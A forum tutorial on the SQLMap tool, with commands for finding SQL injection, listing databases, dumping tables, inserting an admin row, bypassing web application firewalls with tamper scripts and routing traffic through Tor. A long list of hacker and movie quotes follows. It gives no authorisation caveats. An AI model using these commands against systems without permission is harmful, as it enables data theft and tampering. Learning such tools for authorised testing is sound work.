SQLMap Detailed Usage Guide

miracle123456 · Nov 7, 2024

SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports a wide range of database management systems (DBMS) including MySQL, PostgreSQL, Oracle, MSSQL, and more. SQLMap offers an array of features, such as database fingerprinting, data extraction, and access to the underlying operating system.

This guide covers SQLMap’s installation, configuration, and usage in detail, including advanced techniques and troubleshooting.

1. Installation

SQLMap is compatible with most operating systems, including Windows, Linux, and macOS. It requires Python 3.x to run.

Installation Steps

Clone the SQLMap repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Navigate to the SQLMap directory:
cd sqlmap-dev
Verify installation: Run SQLMap’s help command to verify successful installation:
python3 sqlmap.py -h

Installation via Package Managers

On some systems, SQLMap can be installed directly through package managers. For example, on Debian-based systems:
sudo apt install sqlmap

2. Basic Usage

SQLMap operates by testing specific URLs to determine if they are vulnerable to SQL injection attacks.

2.1 Basic Scan for SQL Injection

A simple scan requires the -u option followed by the target URL:
python3 sqlmap.py -u "http://example.com/index.php?id=1"
SQLMap will automatically detect potential SQL injection points, test them, and report back with findings.

2.2 Selecting Injection Point

SQLMap allows you to specify particular parameters with -p to check for SQL injection. For example:
python3 sqlmap.py -u "http://example.com/index.php" -p id
This will focus the SQL injection attempts on the id parameter.

3. Advanced Usage

SQLMap provides powerful capabilities beyond basic detection. Below are advanced options for data extraction, database enumeration, and interacting with database systems.

3.1 Database Enumeration

To enumerate the databases on the target server, use:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --dbs

3.2 Enumerate Tables

To list tables within a specific database:
python3 sqlmap.py -u "http://example.com/index.php?id=1" -D database_name --tables
Replace database_name with the name of the database.

3.3 Data Extraction

To extract all data from a specific table:
python3 sqlmap.py -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
SQLMap will export the contents of the specified table.

3.4 Writing to Database

SQLMap allows you to insert, update, and delete data within a database. For example, to insert a row into a table:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --sql-query "INSERT INTO users (username, password) VALUES ('admin', 'password')"

4. Advanced SQL Injection Techniques

SQLMap supports a wide range of SQL injection techniques, including but not limited to:

Boolean-based Blind: Test for injection by sending queries that return true or false based on the existence of the vulnerability.
Time-based Blind: Send queries that induce delays to determine vulnerabilities without returning data.
Error-based: Leverage database error messages to extract data.
Union-based: Use UNION SQL statements to fetch data.

To specify a technique, use the --technique option:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --technique=U
Options:

B: Boolean-based blind
T: Time-based blind
U: Union-based
E: Error-based

For example, to use only Union-based SQL injection:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --technique=U

5. Bypassing Common Security Measures

5.1 WAF Bypass

SQLMap includes various techniques to bypass Web Application Firewalls (WAF). Use the --tamper option with scripts that alter the payload format:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --tamper=space2comment
Some common tamper scripts include:

space2comment: Changes spaces to comments.
charencode: Encodes the payload.
between: Uses BETWEEN instead of equality operators.

5.2 Custom User-Agent and Headers

Many websites block requests based on headers. To modify the User-Agent:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --user-agent="Mozilla/5.0"

To add custom headers:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --headers="X-Forwarded-For: 127.0.0.1"

6. Automating SQLMap

6.1 Batch Mode

To run SQLMap without prompts for user interaction, use the -batch option:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --batch

6.2 Running from a List of URLs

SQLMap can automate scans for multiple URLs using the -m option:
python3 sqlmap.py -m list_of_urls.txt
Each URL in the list_of_urls.txt file will be scanned sequentially.

7. Using Proxy and Tor

SQLMap supports proxy connections, which can be used for anonymity or to bypass network restrictions.

7.1 Using an HTTP Proxy

To route traffic through a proxy, use the --proxy option:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --proxy="http://127.0.0.1:8080"

7.2 Using Tor

To use Tor for increased anonymity:

Start the Tor service on your machine.
Route SQLMap traffic through Tor:
python3 sqlmap.py -u "http://example.com/index.php?id=1" --tor

8. Logging and Output

SQLMap provides options to save output for later review.

8.1 Saving Results to File

To save SQLMap’s output to a text file:
python3 sqlmap.py -u "http://example.com/index.php?id=1" -o > output.txt

8.2 Verbose Mode

To increase verbosity and view more detailed logs:
python3 sqlmap.py -u "http://example.com/index.php?id=1" -v 3
Verbosity levels:

0: Show only the output
1: Show information output
2: Show debug information
3: Show detailed debug information

9. Troubleshooting

Common Errors and Solutions

Target is not responding: Check network connectivity and ensure the server is reachable.
WAF blocking requests: Use tamper scripts or change User-Agent headers.
Too many false positives: Use SQLMap’s filtering options or specify injection techniques more narrowly.

Debugging

For additional debug information, use the -v flag with level 3:
python3 sqlmap.py -u "http://example.com/index.php?id=1" -v 3

SQLMap Detailed Usage Guide

Currently reading: SQLMap Detailed Usage Guide

miracle123456

Table of Contents​

1. Installation​

Installation Steps​

Installation via Package Managers​

2. Basic Usage​

2.1 Basic Scan for SQL Injection​

2.2 Selecting Injection Point​

3. Advanced Usage​

3.1 Database Enumeration​

3.2 Enumerate Tables​

3.3 Data Extraction​

3.4 Writing to Database​

4. Advanced SQL Injection Techniques​

5. Bypassing Common Security Measures​

5.1 WAF Bypass​

5.2 Custom User-Agent and Headers​

6. Automating SQLMap​

6.1 Batch Mode​

6.2 Running from a List of URLs​

7. Using Proxy and Tor​

7.1 Using an HTTP Proxy​

7.2 Using Tor​

8. Logging and Output​

8.1 Saving Results to File​

8.2 Verbose Mode​

9. Troubleshooting​

Common Errors and Solutions​

Debugging​

"S'all Good, Man."​

"Perfection Is The Enemy Of Perfectly Adequate."​

"Money Is The Point!"​

"I Travel In Worlds You Can't Even Imagine."​

"Say Nothing, You Understand? Get A Lawyer!"​

“Confidence is good. Facts on your side, better.” ​

“Facts are facts.”​

“Sometimes the good guys win.”​

“I’m not good at building shit, you know? I’m excellent at tearing it down.”​

“Money is not beside the point… Money is the point.”​

“Whoa, whoa. Hold up. What the hell happened to you? I get it, the first rule of Fight Club, right?”​

“A good magician never reveals his secrets.”​

“Got to look successful to be successful.”​

“The lesson is, if you’re gonna be a criminal, do your homework.” ​

“If I had to do it all over again, I would maybe do some things differently. I just thought you should know that.”​

“Some men aren't looking for anything logical. They can't be bought, bullied, reasoned or negotiated with. Some men just want to watch the world burn.”​

"Ernest Hemingway once wrote, "The world is a fine place and worth fighting for." I agree with the second part."​

“There’s no better way to destroy someone’s life than to uncover their secrets.”​

“Hackers are breaking the systems for profit. Before, it was about intellectual curiosity and pursuit of knowledge and thrill, and now hacking is big business.”​

“Hackers often describe what they do as playfully creative problem-solving.”​

“Computer hackers do not need to know each other’s real names, or even live on the same continent, to steal millions in mere hours."​

“While many hackers have the knowledge, skills, and tools to attack computer systems, they generally lack the motivation to cause violence or severe economic or social harm.”​

“Very smart people are often tricked by hackers, by phishing. I don’t exclude myself from that. It’s about being smarter than a hacker. Not about being smart.”​

“At the end of the day, my goal was to be the best hacker.”​

“Humiliation is the favorite currency of the hacker.”​

“The hacker didn’t succeed through sophistication. Rather he poked at obvious places, trying to enter through unlocked doors. Persistence, not wizardry, let him through.”​

"Rules. Without Them We Live With The Animals.”​

“Consider This A Professional Courtesy.”​

"I've Lived My Life My Way, And I'll Die My Way."​

"You stabbed the devil in the back, and forced him back into the life that he had just left."​

"You Want A War, Or Do You Want To Just Give Me A Gun?"​

"Leave one wolf alive and the sheep are never safe."​

"When you play the game of thrones, you win or you die. There is no middle ground."​

"It's not easy to see something that’s never been before: A good world."​

"I believe in second chances. I don't believe in third chances."​

"If you only trust the people you grew up with, you won't make many allies."​

"A man with no motive is a man no one suspects. Always keep your foes confused: If they don't know who you are, what you want—they can't know what you plan to do next."​

"Never forget what you are, the rest of the world will not. Wear it like armor and it can never be used to hurt you."​

"I try to know as many people as I can. You never know which one you'll need."​

"It's hard to put a leash on a dog once you've put a crown on its head."​

“Everything before the word ‘but’ is horseshit.”​

“A lion doesn’t concern himself with the opinions of a sheep.”​

“Nothing FUCKS you harder than time.”​

“You pray for rain, you gotta deal with the mud too. That’s a part of it.”​

“I’d be more frightened by not using whatever abilities I’d been given.”​

“Luck is where opportunity meets preparation.”​

“If you have an enemy, then learn and know your enemy, don’t just be mad at him or her.”​

“Every failed experiment is one step closer to success.”​

When you work on a computer your hands travel 20 kilometres a day!​

Currently reading:
SQLMap Detailed Usage Guide

Table of Contents

1. Installation

Installation Steps

Installation via Package Managers

2. Basic Usage

2.1 Basic Scan for SQL Injection

2.2 Selecting Injection Point

3. Advanced Usage

3.1 Database Enumeration

3.2 Enumerate Tables

3.3 Data Extraction

3.4 Writing to Database

4. Advanced SQL Injection Techniques

5. Bypassing Common Security Measures

5.1 WAF Bypass

5.2 Custom User-Agent and Headers

6. Automating SQLMap

6.1 Batch Mode

6.2 Running from a List of URLs

7. Using Proxy and Tor

7.1 Using an HTTP Proxy

7.2 Using Tor

8. Logging and Output

8.1 Saving Results to File

8.2 Verbose Mode

9. Troubleshooting

Common Errors and Solutions

Debugging

"S'all Good, Man."

"Perfection Is The Enemy Of Perfectly Adequate."

"Money Is The Point!"

"I Travel In Worlds You Can't Even Imagine."

"Say Nothing, You Understand? Get A Lawyer!"

“Confidence is good. Facts on your side, better.”

“Facts are facts.”

“Sometimes the good guys win.”

“I’m not good at building shit, you know? I’m excellent at tearing it down.”

“Money is not beside the point… Money is the point.”

“Whoa, whoa. Hold up. What the hell happened to you? I get it, the first rule of Fight Club, right?”

“A good magician never reveals his secrets.”

“Got to look successful to be successful.”

“The lesson is, if you’re gonna be a criminal, do your homework.”

“If I had to do it all over again, I would maybe do some things differently. I just thought you should know that.”

“Some men aren't looking for anything logical. They can't be bought, bullied, reasoned or negotiated with. Some men just want to watch the world burn.”

"Ernest Hemingway once wrote, "The world is a fine place and worth fighting for." I agree with the second part."

“There’s no better way to destroy someone’s life than to uncover their secrets.”

“Hackers are breaking the systems for profit. Before, it was about intellectual curiosity and pursuit of knowledge and thrill, and now hacking is big business.”

“Hackers often describe what they do as playfully creative problem-solving.”

“Computer hackers do not need to know each other’s real names, or even live on the same continent, to steal millions in mere hours."

“While many hackers have the knowledge, skills, and tools to attack computer systems, they generally lack the motivation to cause violence or severe economic or social harm.”

“Very smart people are often tricked by hackers, by phishing. I don’t exclude myself from that. It’s about being smarter than a hacker. Not about being smart.”

“At the end of the day, my goal was to be the best hacker.”

“Humiliation is the favorite currency of the hacker.”

“The hacker didn’t succeed through sophistication. Rather he poked at obvious places, trying to enter through unlocked doors. Persistence, not wizardry, let him through.”

"Rules. Without Them We Live With The Animals.”

“Consider This A Professional Courtesy.”

"I've Lived My Life My Way, And I'll Die My Way."

"You stabbed the devil in the back, and forced him back into the life that he had just left."

"You Want A War, Or Do You Want To Just Give Me A Gun?"

"Leave one wolf alive and the sheep are never safe."

"When you play the game of thrones, you win or you die. There is no middle ground."

"It's not easy to see something that’s never been before: A good world."

"I believe in second chances. I don't believe in third chances."

"If you only trust the people you grew up with, you won't make many allies."

"A man with no motive is a man no one suspects. Always keep your foes confused: If they don't know who you are, what you want—they can't know what you plan to do next."

"Never forget what you are, the rest of the world will not. Wear it like armor and it can never be used to hurt you."

"I try to know as many people as I can. You never know which one you'll need."

"It's hard to put a leash on a dog once you've put a crown on its head."

“Everything before the word ‘but’ is horseshit.”

“A lion doesn’t concern himself with the opinions of a sheep.”

“Nothing FUCKS you harder than time.”

“You pray for rain, you gotta deal with the mud too. That’s a part of it.”

“I’d be more frightened by not using whatever abilities I’d been given.”

“Luck is where opportunity meets preparation.”

“If you have an enemy, then learn and know your enemy, don’t just be mad at him or her.”

“Every failed experiment is one step closer to success.”

When you work on a computer your hands travel 20 kilometres a day!

Fugaku supercomputer is the world’s fastest computer. The $1-billion supercomputer has 7,630,848 cores, requires 29,899 kilowatts of electricity, and can execute 442,010 teraFLOPs.

“Every day, about 317 million new viruses are discovered.